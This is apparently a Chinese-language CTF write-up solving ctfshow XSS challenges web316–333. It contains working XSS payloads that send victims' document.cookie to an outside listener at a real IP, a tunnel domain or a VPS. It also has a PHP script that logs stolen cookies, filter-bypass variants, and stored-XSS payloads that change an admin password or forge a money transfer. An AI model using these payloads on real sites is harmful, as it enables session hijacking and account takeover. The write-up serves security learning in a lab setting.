ctfshow_web入门 xss
额,怎么说呢,对xss理解不深刻,虽然做了XSS-LAB,但是感觉不会用,看了群主的视频,知道了原因,用群主的话来说就是,X的是自己。。。
这个文章写得比较潦草。。。
准备一个带nc的工具;
无vps
"""
牛啊牛啊!群主之前发了一个无公网IP反弹shell的视频,学到了学到了,牛啊牛啊。太牛了,群主顶呱呱。
"""
这里以web321做一个例子:
准备:kali虚拟机,花生壳。
先进行穿透,接着测试一下本地能不能连通什么的。我虚拟机的虚拟网卡需要重启一下才能够连通虚拟机。如果本地不能连通,那么就反弹不了。当然这里不需要反弹shell,只需要外带就行。
先进行本地测试:windows(本机)curl 域名,kali侦听8181端口(穿透哪个端口,就侦听哪一个)
可以看到kali能够接受到windows这边的请求。
接着就可以在题目中进行外带cookie了:
这就外带成功了。大师傅牛啊牛啊。
这种方式外带,需要等10秒
有vps就不多说了,看一看防火墙开端口,或者是安全组开端口没,关闭防火墙之后也可能别安全组挡下来(又有的叫安全策略组,叫法无所谓)。
再看看nc工具是不是需要更新一下(加一个--v参数,如果指定的参数和显示的参数不一样,就说明nc有点小毛病了)。或者是多重启几次。。。
我之前能踩的坑都踩了一遍,一天下来一个题都没做。xss全是x的自己,呜呜呜。
搜寻一波能够XSS的先
外带
<script>
var img=document.createElement("img"); img.src="http://118.31.168.198:39543/"+document.cookie;
</script>
<script>window.open('http://118.31.168.198:39543/'+document.cookie)</script>
<script>location.href='http://118.31.168.198:39543/'+document.cookie</script>
<script>window.location.href='http://118.31.168.198:39543/'+document.cookie</script>
<input onfocus="window.open('http://118.31.168.198:39543/'+document.cookie)" autofocus>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<svg onload="window.open('http://118.31.168.198:39543/'+document.cookie)">
<iframe onload="window.open('http://118.31.168.198:39543/'+document.cookie)"></iframe>
<body onload="window.open('http://118.31.168.198:39543/'+document.cookie)">
web 316
需要生成链接,拿到管理员的cookie;提交构造的连接,后台bot每隔10S会点击一次链接。
要注意,拿cookie要拿管理员的cookie,或者说是拿后台bot的cookie,而不是拿自己的cookie;
按照上面的那个步骤做就好了
web 317
说的是过滤了xss,所以只能够用自己的vps了
web 320
过滤空格
用tab代替,在hackbar中写入%09,利用hackbar进行urldecode
用/**/代替
web 321
不知道过滤了啥
paylaod:
<body onload="window.open('http://394r0g4861.qicp.vip/'+document.cookie)">
web 322
不知道过滤了啥,同上
web 323-6
<body/**/onload="window.open('http://394r0g4861.qicp.vip/'+document.cookie)">
感觉是,姿势越骚,越不容易被过滤
看了一下,Y4爷的博客,
324过滤;
325过滤.
,?但是没有感觉喃?
web 327
存储型xss;发送者和接受者都用的admin,剩余的随便,内容是:<body onload="window.open('http://394r0g4861.qicp.vip/'+document.cookie)">
拿到了flag,但是怎么就拿到了呢???
看了视频,大师傅说的是,发送者是admin就行了
web 328
在本地,不知道为啥nc拿不到数据了,所以采用写接受脚本的方式来接受cookie
<?php
$data=$_GET['data'];
$myfile=fopen('xss_flag.txt',"w") or die("unable to open file!");
fwrite($myfile,$data);
echo "done";
?>
唔,按理来讲,将花生壳的端口修改为80端口(kali用的是PHP7.3和Apache),也能够接受信息,但是虚拟机出了点问题,所以就用了vps;脚本还是不变;
解题:
注册用户名随便设置:
密码如下:
<body onload="window.open('http://your-vps/x.php?data=/'+document.cookie)"></body>
或者
<script>window.location.href='http://your-vps/x.php?data='+document.cookie</script>
接着登录:查看xss_flag.txt
,拿到admin的cookie
将cookie修改为admin的cookie
开启抓包,刷新界面,一步一步forward,即可看到flag
web 329
不会,思路是:执行js代码,实现页面内容的外带
web 330
想的是登录管理员的账号,由于没有密码
思路是:修改管理员密码,以管理员身份进行登录
解题:
注册:
账户名为<script>document.location.href="http://127.0.0.1/api/change.php?p=3"</script>
密码:1
接着用账户<script>document.location.href="http://127.0.0.1/api/change.php?p=3"</script>
登录一次,登出;
登录管理员账号:admin 密码:3(抓包防止跳转)
web 331
试了一下账号密码等地方的注入,都不行,所以抓包看一下,发现是利用post方式进行已交,那么就构造post提交的的方式。
大师傅是构造的:(从源代码中的js文件中找到的一个ajax提交)
<script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});</script>
bfengj师傅利用js发送了一个http请求:
<script>var httpRequest = new XMLHttpRequest();httpRequest.open('POST', 'http://127.0.0.1/api/change.php', true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('p=1234567');</script>
web 332
登录检查一遍,发现是post传参,所以依旧似是用331的payload来进行了一次提交,结果不行。于是看了大师傅的视频。
???转账-10000
随便注册登录一下,接着在转账界面,收款用户是admin
,然后付款-10000
,接着购买
web 333
盲猜是转账加过滤了332的情况。
注册账户:12,密码随便
注册账户: <script> $.ajax({url:'http://127.0.0.1/api/amount.php',type:'post',data:{u:'1',a:'10000'}});</script>
,密码随便
随后登录账户12,即可购买flag。
/api/amount.php <script> $.ajax({url:'http://127.0.0.1/api/amount.php',type:'post',data:{u:'1',a:'10000'}});</script>
总结
虽然说题是做完了,同样也了解了反射型和存储型XSS的攻击方式。反射型是生成了链接同时被后台点击,存储型这里就不太清楚了,感觉是生成了被反复执行的代码存放到了后台。同时每一次访问该界面就会触发一次。
因为做题时是看的大师傅的视频和bfengj师傅的博客,学习到了很多。
同时也被两位师傅的技术栈给震撼到。一路过来都是看的各种师傅们的博客,在做题的时候也学习到了各种方法。
所以有事没事,看看ctfshow